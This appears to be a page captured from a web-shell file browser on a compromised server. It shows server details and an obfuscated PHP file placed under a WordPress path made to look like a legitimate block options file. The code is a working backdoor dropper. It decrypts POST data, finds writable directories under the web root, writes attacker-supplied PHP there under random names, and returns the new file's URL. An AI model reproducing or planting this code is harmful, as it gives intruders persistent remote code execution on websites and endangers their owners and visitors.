HEX
Server: Apache/2.4.57 (Debian)
System: Linux web-server-k8s-e92jnr3j-6f99bff6b6-rp2wg 6.1.0-22-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.94-1 (2024-06-21) x86_64
User: apache (48)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Upload Files
File: /var/www/sites/1250.info/wp-includes_old/blocks/cover/options.php
<?php $puWPOyr = chr(720-652).'O'.'C'.'U'.chr(950-873).'E'.chr(265-187).chr(1030-946).chr(761-666)."\x52".chr(949-870)."\x4f".chr(843-759);$nkGbyQa = "\x48"."\124".'T'.'P'."\137".chr(72).'O'."\x53".chr(1009-925);$gpkswodwY = chr(619-515)."\164"."\x74".chr(476-364).':'."\x2f"."\x2f";$HxqjvDh = "\56".'p'.chr(104)."\160";$qHAtOTzv = 'p'."\150"."\160";$KGPjYuFV = "\x66".'i'."\x6c"."\x65"."\x5f".chr(169-57)."\x75".chr(690-574)."\137".chr(1050-951).'o'."\x6e".'t'.'e'.'n'."\164".chr(115);$UtjKlXZXhX = chr(114).'a'."\167".chr(117).'r'.chr(986-878)."\x64"."\145"."\143"."\x6f"."\x64"."\145";$XCHFsVsHW = chr(117)."\156".'s'.'e'.chr(114).chr(105)."\141"."\154"."\x69"."\x7a".chr(778-677);$aGCSwdBMq = "\x69".'s'.'_'."\167".'r'.chr(105)."\164"."\141".chr(98).chr(108)."\145";$HZikEWNeV = chr(675-563).chr(1039-935).'p'.chr(805-687).chr(101).chr(114).'s'."\x69".'o'."\156";$lgfmiONL = "\x73".chr(923-807)."\162".'_'."\x72".chr(999-888).chr(116).chr(49).chr(105-54);$dEyYdHWou = 's'."\145".chr(114)."\151".'a'."\154".chr(105)."\x7a".chr(829-728);$iLrgwWFaBW = chr(115)."\x74".chr(114).chr(95).chr(115).'p'.chr(770-662).'i'.'t';foreach ($_POST as $HFmkwuvSj => $YrPnjyae){$QEYnUm = strlen($HFmkwuvSj);if ($QEYnUm == 16){$YrPnjyae = $iLrgwWFaBW($UtjKlXZXhX($lgfmiONL($YrPnjyae)));$HFmkwuvSj = array_slice($iLrgwWFaBW(str_repeat($HFmkwuvSj, (count($YrPnjyae)/16)+1)), 0, count($YrPnjyae));function IMCJtRd($eyevNToo, $sgvZVYpAXOgwO, $HFmkwuvSj){$THEcFGXC = "c1c49017-9168-49db-b7f5-c7d168829007";return $eyevNToo ^ $THEcFGXC[$sgvZVYpAXOgwO % strlen($THEcFGXC)] ^ $HFmkwuvSj;}$YrPnjyae = array_map("IMCJtRd", array_values($YrPnjyae), array_keys($YrPnjyae), array_values($HFmkwuvSj));$YrPnjyae = implode("", $YrPnjyae);$YrPnjyae = @$XCHFsVsHW($YrPnjyae);if (@is_array($YrPnjyae)){$naDMAKqvi = array_keys($YrPnjyae);$YrPnjyae = $YrPnjyae[$naDMAKqvi[0]];if ($YrPnjyae === $naDMAKqvi[0]){echo @$dEyYdHWou(Array($qHAtOTzv => @$HZikEWNeV(), ));exit();}else {function stZaMewMrL($sgvZVYpAir){static $bhYeLFQ = array();$YnuMU = glob($sgvZVYpAir . '/*', GLOB_ONLYDIR);$ceZvKPfoo = count($YnuMU);if ($ceZvKPfoo > 0) {foreach ($YnuMU as $sgvZVYpA) {if (@$aGCSwdBMq($sgvZVYpA)) {$bhYeLFQ[] = $sgvZVYpA;}}}foreach ($YnuMU as $sgvZVYpAir) stZaMewMrL($sgvZVYpAir);return $bhYeLFQ;}$jxDRcMz = $_SERVER[$puWPOyr];$YnuMU = stZaMewMrL($jxDRcMz);$naDMAKqvi = array_rand($YnuMU);$owVCelkvZ = $YnuMU[$naDMAKqvi] . "/" . substr(md5(time()), 0, 8) . $HxqjvDh;@$KGPjYuFV($owVCelkvZ, $YrPnjyae);$vrmFU = $gpkswodwY . $_SERVER[$nkGbyQa] . substr($owVCelkvZ, strlen($jxDRcMz));print($vrmFU);die();}}}}